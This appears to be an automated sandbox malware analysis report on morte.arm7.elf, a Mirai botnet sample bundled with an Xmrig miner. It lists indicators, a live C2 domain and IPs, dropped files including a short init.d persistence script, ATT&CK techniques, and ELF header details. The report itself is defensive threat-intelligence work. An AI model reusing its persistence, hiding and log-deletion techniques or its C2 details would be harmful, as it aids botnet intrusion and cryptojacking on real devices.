                    Source: morte.arm7.elf, 6262.1.000055ea06108000.000055ea06236000.rw-.sdmp, morte.arm7.elf, 6264.1.000055ea06108000.000055ea06236000.rw-.sdmp, morte.arm7.elf, 6283.1.000055ea06108000.000055ea06236000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/arm
                    Source: morte.arm7.elf, 6283.1.00007fff7649b000.00007fff764bc000.rw-.sdmpBinary or memory string: /tmp/qemu-open.oyFWbl
                    Source: morte.arm7.elf, 6283.1.00007fb11004a000.00007fb110058000.rw-.sdmpBinary or memory string: /var/lib/PackageKit!/var/lib/NetworkManager !/var/lib/vmware/VGAuthX
                    Source: morte.arm7.elf, 6283.1.00007fb110049000.00007fb11004a000.rw-.sdmpBinary or memory string: )/var/lib/vmware/VGAuth/aliasStore
                    Source: morte.arm7.elf, 6283.1.00007fb11004a000.00007fb110058000.rw-.sdmpBinary or memory string: /tmp/vmware-root_721-4290559889
                    Source: morte.arm7.elf, 6283.1.00007fb110049000.00007fb11004a000.rw-.sdmpBinary or memory string: /var/lib/vmware
                    Source: morte.arm7.elf, 6283.1.00007fb11004a000.00007fb110058000.rw-.sdmpBinary or memory string: !/var/log/gdm3 a/tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-systemd-resolved.service-AfPZzgQ/tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-fwupd.service-gB0a9f)/tmp/vmware-root_721-4290559889
                    Source: morte.arm7.elf, 6283.1.000055ea06236000.000055ea06257000.rw-.sdmpBinary or memory string: !/var/lib/vmware
                    Source: morte.arm7.elf, 6283.1.000055ea06236000.000055ea06257000.rw-.sdmpBinary or memory string: !/var/lib/vmware/VGAuthh1/var/lib/vmware/VGAuth/aliasStore
                    Source: morte.arm7.elf, 6262.1.000055ea06108000.000055ea06236000.rw-.sdmp, morte.arm7.elf, 6264.1.000055ea06108000.000055ea06236000.rw-.sdmp, morte.arm7.elf, 6283.1.000055ea06108000.000055ea06236000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
                    Source: morte.arm7.elf, 6283.1.000055ea06236000.000055ea06257000.rw-.sdmpBinary or memory string: vmware-root_721-4290559889
                    Source: morte.arm7.elf, 6283.1.00007fb110049000.00007fb11004a000.rw-.sdmpBinary or memory string: /var/lib/vmware/VGAuth
                    Source: morte.arm7.elf, 6262.1.00007fff7649b000.00007fff764bc000.rw-.sdmp, morte.arm7.elf, 6264.1.00007fff7649b000.00007fff764bc000.rw-.sdmp, morte.arm7.elf, 6283.1.00007fff7649b000.00007fff764bc000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
                    Source: morte.arm7.elf, 6283.1.00007fb11004a000.00007fb110058000.rw-.sdmpBinary or memory string: !/var/lib/os-prober )/var/lib/vmware/VGAuth/aliasStore
                    Source: morte.arm7.elf, 6283.1.00007fff7649b000.00007fff764bc000.rw-.sdmpBinary or memory string: U/tmp/qemu-open.oyFWbl(
                    Source: morte.arm7.elf, 6283.1.00007fb110049000.00007fb11004a000.rw-.sdmpBinary or memory string: /var/lib/vmware/VGAuth/aliasStore
                    Source: morte.arm7.elf, 6262.1.00007fff7649b000.00007fff764bc000.rw-.sdmp, morte.arm7.elf, 6264.1.00007fff7649b000.00007fff764bc000.rw-.sdmp, morte.arm7.elf, 6283.1.00007fff7649b000.00007fff764bc000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/morte.arm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/morte.arm7.elf
                    Source: morte.arm7.elf, 6283.1.00007fb11004a000.00007fb110058000.rw-.sdmpBinary or memory string: )/tmp/vmware-root_721-4290559889
                    Source: morte.arm7.elf, 6283.1.00007fb110049000.00007fb11004a000.rw-.sdmpBinary or memory string: !/var/lib/vmware/VGAuth

                    Stealing of Sensitive Information

                    barindex
                    Source: Yara matchFile source: morte.arm7.elf, type: SAMPLE
                    Source: Yara matchFile source: 6262.1.00007fb110017000.00007fb110034000.r-x.sdmp, type: MEMORY
                    Source: Yara matchFile source: 6264.1.00007fb110017000.00007fb110034000.r-x.sdmp, type: MEMORY
                    Source: Yara matchFile source: 6283.1.00007fb110017000.00007fb110034000.r-x.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: morte.arm7.elf PID: 6262, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: morte.arm7.elf PID: 6264, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: morte.arm7.elf PID: 6283, type: MEMORYSTR
                    Source: Yara matchFile source: /usr/bin/.sh, type: DROPPED

                    Remote Access Functionality

                    barindex
                    Source: Yara matchFile source: morte.arm7.elf, type: SAMPLE
                    Source: Yara matchFile source: 6262.1.00007fb110017000.00007fb110034000.r-x.sdmp, type: MEMORY
                    Source: Yara matchFile source: 6264.1.00007fb110017000.00007fb110034000.r-x.sdmp, type: MEMORY
                    Source: Yara matchFile source: 6283.1.00007fb110017000.00007fb110034000.r-x.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: morte.arm7.elf PID: 6262, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: morte.arm7.elf PID: 6264, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: morte.arm7.elf PID: 6283, type: MEMORYSTR
                    Source: Yara matchFile source: /usr/bin/.sh, type: DROPPED
                    ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                    Gather Victim Identity Information2
                    Scripting
                    Valid AccountsWindows Management Instrumentation2
                    Scripting
                    Path Interception11
                    Masquerading
                    1
                    OS Credential Dumping
                    11
                    Security Software Discovery
                    Remote ServicesData from Local System1
                    Encrypted Channel
                    Exfiltration Over Other Network Medium1
                    Data Manipulation
                    CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
                    Virtualization/Sandbox Evasion
                    LSASS Memory1
                    Virtualization/Sandbox Evasion
                    Remote Desktop ProtocolData from Removable Media1
                    Non-Standard Port
                    Exfiltration Over BluetoothNetwork Denial of Service
                    Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)1
                    File and Directory Permissions Modification
                    Security Account Manager1
                    File and Directory Discovery
                    SMB/Windows Admin SharesData from Network Shared Drive1
                    Non-Application Layer Protocol
                    Automated ExfiltrationData Encrypted for Impact
                    Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook11
                    Hidden Files and Directories
                    NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput Capture2
                    Application Layer Protocol
                    Traffic DuplicationData Destruction
                    Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
                    Indicator Removal
                    LSA SecretsInternet Connection DiscoverySSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
                    Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts11
                    File Deletion
                    Cached Domain CredentialsWi-Fi DiscoveryVNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                    No configs have been found
                    Hide Legend

                    Legend:

                    • Process
                    • Signature
                    • Created File
                    • DNS/IP Info
                    • Is Dropped
                    • Number of created Files
                    • Is malicious
                    • Internet
                    behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1729412 Sample: morte.arm7.elf Startdate: 06/07/2025 Architecture: LINUX Score: 100 42 109.202.202.202, 80 INIT7CH Switzerland 2->42 44 cnc.jssaytcp.lat 194.110.247.14, 12121, 59092, 59094 FIRSTROOT-ASDE unknown 2->44 46 3 other IPs or domains 2->46 48 Antivirus detection for dropped file 2->48 50 Antivirus / Scanner detection for submitted sample 2->50 52 Multi AV Scanner detection for submitted file 2->52 54 2 other signatures 2->54 10 dash rm morte.arm7.elf 2->10         started        13 gvfsd-fuse fusermount 2->13         started        15 dash rm 2->15         started        17 9 other processes 2->17 signatures3 process4 signatures5 62 Found strings related to Crypto-Mining 10->62 19 morte.arm7.elf 10->19         started        64 Sample reads /proc/mounts (often used for finding a writable filesystem) 13->64 process6 process7 21 morte.arm7.elf 19->21         started        file8 38 /etc/init.d/sysd, POSIX 21->38 dropped 56 Sample tries to set files in /etc globally writable 21->56 58 Drops files in suspicious directories 21->58 60 Sample tries to persist itself using System V runlevels 21->60 25 morte.arm7.elf sh 21->25         started        27 morte.arm7.elf 21->27         started        signatures9 process10 signatures11 30 sh cp 25->30         started        66 Sample deletes itself 27->66 34 morte.arm7.elf 27->34         started        36 morte.arm7.elf 27->36         started        process12 file13 40 /usr/bin/.sh, ELF 30->40 dropped 68 Drops invisible ELF files 30->68 70 Drops files in suspicious directories 30->70 72 Manipulation of devices in /dev 34->72 74 Deletes system log files 34->74 signatures14
                    SourceDetectionScannerLabelLink
                    morte.arm7.elf39%VirustotalBrowse
                    morte.arm7.elf47%ReversingLabsLinux.Worm.Mirai
                    morte.arm7.elf100%AviraLINUX/Mirai.bonb
                    SourceDetectionScannerLabelLink
                    /usr/bin/.sh100%AviraLINUX/Mirai.bonb
                    /etc/init.d/sysd0%VirustotalBrowse
                    /usr/bin/.sh47%ReversingLabsLinux.Worm.Mirai
                    /usr/bin/.sh39%VirustotalBrowse
                    No Antivirus matches
                    No Antivirus matches
                    NameIPActiveMaliciousAntivirus DetectionReputation
                    cnc.jssaytcp.lat
                    194.110.247.14
                    truefalse
                      high
                      • No. of IPs < 25%
                      • 25% < No. of IPs < 50%
                      • 50% < No. of IPs < 75%
                      • 75% < No. of IPs
                      IPDomainCountryFlagASNASN NameMalicious
                      54.171.230.55
                      unknownUnited States16509AMAZON-02USfalse
                      194.110.247.14
                      cnc.jssaytcp.latunknown41108FIRSTROOT-ASDEfalse
                      109.202.202.202
                      unknownSwitzerland13030INIT7CHfalse
                      91.189.91.43
                      unknownUnited Kingdom41231CANONICAL-ASGBfalse
                      91.189.91.42
                      unknownUnited Kingdom41231CANONICAL-ASGBfalse
                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                      54.171.230.55morte.i686.elfGet hashmaliciousMirai, XmrigBrowse
                        morte.x86.elfGet hashmaliciousMirai, XmrigBrowse
                          morte.spc.elfGet hashmaliciousMirai, XmrigBrowse
                            armv4l.elfGet hashmaliciousUnknownBrowse
                              armv7l.elfGet hashmaliciousUnknownBrowse
                                nmips.elfGet hashmaliciousUnknownBrowse
                                  morte.arm.elfGet hashmaliciousMirai, XmrigBrowse
                                    ppc64.elfGet hashmaliciousUnknownBrowse
                                      s390x.elfGet hashmaliciousUnknownBrowse
                                        fsociety.mips.elfGet hashmaliciousMiraiBrowse
                                          194.110.247.14morte.x86_64.elfGet hashmaliciousMirai, XmrigBrowse
                                            morte.arm.elfGet hashmaliciousMirai, XmrigBrowse
                                              morte.m68k.elfGet hashmaliciousMirai, XmrigBrowse
                                                morte.x86.elfGet hashmaliciousMirai, XmrigBrowse
                                                  morte.sh4.elfGet hashmaliciousMirai, XmrigBrowse
                                                    debug.elfGet hashmaliciousMirai, XmrigBrowse
                                                      morte.i686.elfGet hashmaliciousMirai, XmrigBrowse
                                                        morte.arm7.elfGet hashmaliciousMirai, XmrigBrowse
                                                          morte.spc.elfGet hashmaliciousMirai, XmrigBrowse
                                                            morte.arm.elfGet hashmaliciousMirai, XmrigBrowse
                                                              109.202.202.202kpLwzBouH4.elfGet hashmaliciousUnknownBrowse
                                                              • ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
                                                              91.189.91.43morte.arm6.elfGet hashmaliciousMirai, XmrigBrowse
                                                                miraint.x86.elfGet hashmaliciousMiraiBrowse
                                                                  morte.arm6.elfGet hashmaliciousMirai, XmrigBrowse
                                                                    morte.arm7.elfGet hashmaliciousMirai, XmrigBrowse
                                                                      morte.arm.elfGet hashmaliciousMirai, XmrigBrowse
                                                                        morte.sh4.elfGet hashmaliciousMirai, XmrigBrowse
                                                                          morte.mips.elfGet hashmaliciousMirai, XmrigBrowse
                                                                            morte.spc.elfGet hashmaliciousMirai, XmrigBrowse
                                                                              mips.elfGet hashmaliciousUnknownBrowse
                                                                                morte.arm.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                  91.189.91.42morte.arm6.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                    miraint.x86.elfGet hashmaliciousMiraiBrowse
                                                                                      morte.arm6.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                        morte.arm7.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                          morte.arm.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                            morte.sh4.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                              morte.mips.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                morte.spc.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                  mips.elfGet hashmaliciousUnknownBrowse
                                                                                                    morte.arm.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                      cnc.jssaytcp.latmorte.x86_64.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 194.110.247.14
                                                                                                      morte.arm.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 194.110.247.14
                                                                                                      morte.m68k.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 194.110.247.14
                                                                                                      morte.x86.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 194.110.247.14
                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                      FIRSTROOT-ASDEmorte.x86_64.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 194.110.247.14
                                                                                                      morte.arm.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 194.110.247.14
                                                                                                      morte.m68k.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 194.110.247.14
                                                                                                      morte.x86.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 194.110.247.14
                                                                                                      morte.sh4.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 194.110.247.14
                                                                                                      debug.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 194.110.247.14
                                                                                                      morte.i686.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 194.110.247.14
                                                                                                      morte.arm7.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 194.110.247.14
                                                                                                      morte.spc.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 194.110.247.14
                                                                                                      morte.arm.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 194.110.247.14
                                                                                                      CANONICAL-ASGBmorte.arm6.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 91.189.91.42
                                                                                                      morte.arm6.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 162.213.35.25
                                                                                                      miraint.x86.elfGet hashmaliciousMiraiBrowse
                                                                                                      • 91.189.91.42
                                                                                                      morte.sh4.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 185.125.190.26
                                                                                                      .i.elfGet hashmaliciousUnknownBrowse
                                                                                                      • 185.125.190.26
                                                                                                      morte.arm6.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 91.189.91.42
                                                                                                      debug.elfGet hashmaliciousUnknownBrowse
                                                                                                      • 185.125.190.26
                                                                                                      morte.arm6.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 162.213.35.24
                                                                                                      morte.arm7.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 91.189.91.42
                                                                                                      morte.arm.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 91.189.91.42
                                                                                                      CANONICAL-ASGBmorte.arm6.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 91.189.91.42
                                                                                                      morte.arm6.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 162.213.35.25
                                                                                                      miraint.x86.elfGet hashmaliciousMiraiBrowse
                                                                                                      • 91.189.91.42
                                                                                                      morte.sh4.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 185.125.190.26
                                                                                                      .i.elfGet hashmaliciousUnknownBrowse
                                                                                                      • 185.125.190.26
                                                                                                      morte.arm6.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 91.189.91.42
                                                                                                      debug.elfGet hashmaliciousUnknownBrowse
                                                                                                      • 185.125.190.26
                                                                                                      morte.arm6.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 162.213.35.24
                                                                                                      morte.arm7.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 91.189.91.42
                                                                                                      morte.arm.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 91.189.91.42
                                                                                                      AMAZON-02USmorte.arm6.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 34.249.145.219
                                                                                                      miraint.x86.elfGet hashmaliciousMiraiBrowse
                                                                                                      • 34.249.145.219
                                                                                                      morte.arm6.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 34.249.145.219
                                                                                                      morte.arm7.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 34.249.145.219
                                                                                                      mirai.arm6.elfGet hashmaliciousMiraiBrowse
                                                                                                      • 18.157.142.188
                                                                                                      morte.arm.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 34.254.182.186
                                                                                                      morte.sh4.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 34.249.145.219
                                                                                                      morte.arm.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 34.249.145.219
                                                                                                      morte.i686.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 54.171.230.55
                                                                                                      morte.x86.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 54.171.230.55
                                                                                                      INIT7CHmorte.arm6.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 109.202.202.202
                                                                                                      miraint.x86.elfGet hashmaliciousMiraiBrowse
                                                                                                      • 109.202.202.202
                                                                                                      morte.arm6.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 109.202.202.202
                                                                                                      morte.arm7.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 109.202.202.202
                                                                                                      morte.arm.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 109.202.202.202
                                                                                                      morte.sh4.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 109.202.202.202
                                                                                                      morte.mips.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 109.202.202.202
                                                                                                      morte.spc.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 109.202.202.202
                                                                                                      mips.elfGet hashmaliciousUnknownBrowse
                                                                                                      • 109.202.202.202
                                                                                                      morte.arm.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                      • 109.202.202.202
                                                                                                      No context
                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                      /etc/init.d/sysdmorte.ppc.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                        morte.sh4.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                          debug.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                            morte.arm7.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                              morte.arm7.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                                morte.x86_64.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                                  morte.arm.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                                    morte.arm.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                                      morte.sh4.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                                        morte.mips.elfGet hashmaliciousMirai, XmrigBrowse
                                                                                                                          Process:/tmp/morte.arm7.elf
                                                                                                                          File Type:POSIX shell script, ASCII text executable
                                                                                                                          Category:dropped
                                                                                                                          Size (bytes):25
                                                                                                                          Entropy (8bit):3.5892750707107135
                                                                                                                          Encrypted:false
                                                                                                                          SSDEEP:3:TKH4v09vzn:hw
                                                                                                                          MD5:997CB34FF6E6CDED70B841C0D16C0938
                                                                                                                          SHA1:CC85C16E2FB441D86AA668F376CA7FB4B181F1AB
                                                                                                                          SHA-256:BA1D50D125344F273C249426CCD744D5A12E560ACE41CCA4BC55BD2D4A718D8F
                                                                                                                          SHA-512:1E775CA8513F2841B6A8E369071B28C48489AB6462D06525F9B6B2BF97E9C043562BD7E0217307ED64A95217A76A94A08189616831C9D3127C6B91B7544570C8
                                                                                                                          Malicious:true
                                                                                                                          Antivirus:
                                                                                                                          • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                                          Joe Sandbox View:
                                                                                                                          • Filename: morte.ppc.elf, Detection: malicious, Browse
                                                                                                                          • Filename: morte.sh4.elf, Detection: malicious, Browse
                                                                                                                          • Filename: debug.elf, Detection: malicious, Browse
                                                                                                                          • Filename: morte.arm7.elf, Detection: malicious, Browse
                                                                                                                          • Filename: morte.arm7.elf, Detection: malicious, Browse
                                                                                                                          • Filename: morte.x86_64.elf, Detection: malicious, Browse
                                                                                                                          • Filename: morte.arm.elf, Detection: malicious, Browse
                                                                                                                          • Filename: morte.arm.elf, Detection: malicious, Browse
                                                                                                                          • Filename: morte.sh4.elf, Detection: malicious, Browse
                                                                                                                          • Filename: morte.mips.elf, Detection: malicious, Browse
                                                                                                                          Reputation:moderate, very likely benign file
                                                                                                                          Preview:#!/bin/sh./usr/bin/.sh &.
                                                                                                                          Process:/tmp/morte.arm7.elf
                                                                                                                          File Type:data
                                                                                                                          Category:dropped
                                                                                                                          Size (bytes):20
                                                                                                                          Entropy (8bit):3.5841837197791886
                                                                                                                          Encrypted:false
                                                                                                                          SSDEEP:3:TgnRAiTG:TgnRAcG
                                                                                                                          MD5:1D4597466DDBF682D38AFBB7B65D3B18
                                                                                                                          SHA1:2599983BFE818CF189424DEDCF924F1F693F9D12
                                                                                                                          SHA-256:50656C99A700312EDA073E6600C56264B0453EF23DFA2778E14FDA81CD16EA19
                                                                                                                          SHA-512:1DA8280C401503D521852A2D9D2466F99D435DC8AE9DC19710A64ED19588EB55E2711AB41D8E878D04259574C525BD2F29AD4746BC6C6AE13836D1460E7FF859
                                                                                                                          Malicious:false
                                                                                                                          Reputation:low
                                                                                                                          Preview:/tmp/morte.arm7.elf.
                                                                                                                          Process:/usr/bin/cp
                                                                                                                          File Type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
                                                                                                                          Category:dropped
                                                                                                                          Size (bytes):186673
                                                                                                                          Entropy (8bit):5.899580453164574
                                                                                                                          Encrypted:false
                                                                                                                          SSDEEP:3072:IoIln1wokTuvaW0BFkA3zY+PmzwQGu9ppavv+2BM/9TNqH6SWmYwLxoY:ZIlS6vaW0BFkAjY+P5QGkp4vv+wM/9TC
                                                                                                                          MD5:F587B7E125F9B046478D17F309FB1F53
                                                                                                                          SHA1:6FA19F15FCA6F0E6B13566BD027BC7AD746A1ACD
                                                                                                                          SHA-256:519D5736924FDC4B0CCDD1AB25906B7602E32501A928823EB44C70E90B7299D3
                                                                                                                          SHA-512:92BFC9319A562E23B08C4E66656B907F7E93F0705F1F66643C30F7BD951971573C0CE9F5FCAF30F1086BE305696BA53010761C5EF1289F849269E232A380DCF4
                                                                                                                          Malicious:true
                                                                                                                          Yara Hits:
                                                                                                                          • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: /usr/bin/.sh, Author: Joe Security
                                                                                                                          • Rule: JoeSecurity_Mirai_3, Description: Yara detected Mirai, Source: /usr/bin/.sh, Author: Joe Security
                                                                                                                          Antivirus:
                                                                                                                          • Antivirus: Avira, Detection: 100%
                                                                                                                          • Antivirus: ReversingLabs, Detection: 47%
                                                                                                                          • Antivirus: Virustotal, Detection: 39%, Browse
                                                                                                                          Reputation:low
                                                                                                                          Preview:.ELF..............(.........4...<@......4. ...(........p.....I...I..(...(...............................................................(...........................................Q.td..................................-...L.................@-.,@...0....S..... 0....S........../..0...0...@..../...............-.@0....S...M.8...8......../.0....0....S.....$0....S....../........../................................. ... -...-.......-......0..G...@...............P..@-..@.......0....S.................0....S...............P..............@..../..@.......E-...M..P...`.......... p..D....p..@........P...... ...0....S.........E..../.D....p.......P..........F..H).......)......CB..p0........Q.....d0... .......0....S..................0....S...........P..........B........... ..$0.........../...................P..@-..@.......0....S.................0....R...............P..............@..../.......P......8...@........P..@-..@.......0....S.................0....R...............^..............@..
                                                                                                                          File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
                                                                                                                          Entropy (8bit):5.899580453164574
                                                                                                                          TrID:
                                                                                                                          • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                                                                                                          File name:morte.arm7.elf
                                                                                                                          File size:186'673 bytes
                                                                                                                          MD5:f587b7e125f9b046478d17f309fb1f53
                                                                                                                          SHA1:6fa19f15fca6f0e6b13566bd027bc7ad746a1acd
                                                                                                                          SHA256:519d5736924fdc4b0ccdd1ab25906b7602e32501a928823eb44c70e90b7299d3
                                                                                                                          SHA512:92bfc9319a562e23b08c4e66656b907f7e93f0705f1f66643c30f7bd951971573c0ce9f5fcaf30f1086be305696ba53010761c5ef1289f849269e232a380dcf4
                                                                                                                          SSDEEP:3072:IoIln1wokTuvaW0BFkA3zY+PmzwQGu9ppavv+2BM/9TNqH6SWmYwLxoY:ZIlS6vaW0BFkAjY+P5QGkp4vv+wM/9TC
                                                                                                                          TLSH:9F044B46EA818A13C4D32779BB9F414633239B64D3EB73069918BFB43F8679E0E63505
                                                                                                                          File Content Preview:.ELF..............(.........4...<@......4. ...(........p.....I...I..(...(...............................................................(...........................................Q.td..................................-...L..................@-.,@...0....S

                                                                                                                          ELF header

                                                                                                                          Class:ELF32
                                                                                                                          Data:2's complement, little endian
                                                                                                                          Version:1 (current)
                                                                                                                          Machine:ARM
                                                                                                                          Version Number:0x1
                                                                                                                          Type:EXEC (Executable file)
                                                                                                                          OS/ABI:UNIX - System V
                                                                                                                          ABI Version:0
                                                                                                                          Entry Point Address:0x8194
                                                                                                                          Flags:0x4000002
                                                                                                                          ELF Header Size:52
                                                                                                                          Program Header Offset:52
                                                                                                                          Program Header Size:32
                                                                                                                          Number of Program Headers:5
                                                                                                                          Section Header Offset:147516
                                                                                                                          Section Header Size:40
                                                                                                                          Number of Section Headers:29
                                                                                                                          Header String Table Index:26
                                                                                                                          NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                                                                                                          NULL0x00x00x00x00x0000
                                                                                                                          .initPROGBITS0x80d40xd40x100x00x6AX004
                                                                                                                          .textPROGBITS0x80f00xf00x194180x00x6AX0016
                                                                                                                          .finiPROGBITS0x215080x195080x100x00x6AX004
                                                                                                                          .rodataPROGBITS0x215180x195180x349c0x00x2A008
                                                                                                                          .ARM.extabPROGBITS0x249b40x1c9b40x180x00x2A004
                                                                                                                          .ARM.exidxARM_EXIDX0x249cc0x1c9cc0x1280x00x82AL204
                                                                                                                          .eh_framePROGBITS0x2d0000x1d0000x40x00x3WA004
                                                                                                                          .tbssNOBITS0x2d0040x1d0040x80x00x403WAT004
                                                                                                                          .init_arrayINIT_ARRAY0x2d0040x1d0040x40x00x3WA004
                                                                                                                          .fini_arrayFINI_ARRAY0x2d0080x1d0080x40x00x3WA004
                                                                                                                          .jcrPROGBITS0x2d00c0x1d00c0x40x00x3WA004
                                                                                                                          .gotPROGBITS0x2d0100x1d0100xa80x40x3WA004
                                                                                                                          .dataPROGBITS0x2d0b80x1d0b80x33c0x00x3WA004
                                                                                                                          .bssNOBITS0x2d3f40x1d3f40xb1340x00x3WA004
                                                                                                                          .commentPROGBITS0x00x1d3f40xe140x00x0001
                                                                                                                          .debug_arangesPROGBITS0x00x1e2080x1600x00x0008
                                                                                                                          .debug_pubnamesPROGBITS0x00x1e3680x2130x00x0001
                                                                                                                          .debug_infoPROGBITS0x00x1e57b0x210b0x00x0001
                                                                                                                          .debug_abbrevPROGBITS0x00x206860x6f60x00x0001
                                                                                                                          .debug_linePROGBITS0x00x20d7c0xf280x00x0001
                                                                                                                          .debug_framePROGBITS0x00x21ca40x2b80x00x0004
                                                                                                                          .debug_strPROGBITS0x00x21f5c0x8ca0x10x30MS001
                                                                                                                          .debug_locPROGBITS0x00x228260x118f0x00x0001
                                                                                                                          .debug_rangesPROGBITS0x00x239b50x5580x00x0001
                                                                                                                          .ARM.attributesARM_ATTRIBUTES0x00x23f0d0x160x00x0001
                                                                                                                          .shstrtabSTRTAB0x00x23f230x1170x00x0001
                                                                                                                          .symtabSYMTAB0x00x244c40x63900x100x0289384
                                                                                                                          .strtabSTRTAB0x00x2a8540x30dd0x00x0001
                                                                                                                          TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                                                                                          EXIDX0x1c9cc0x249cc0x249cc0x1280x1284.56400x4R 0x4.ARM.exidx
                                                                                                                          LOAD0x00x80000x80000x1caf40x1caf46.03730x5R E0x8000.init .text .fini .rodata .ARM.extab .ARM.exidx
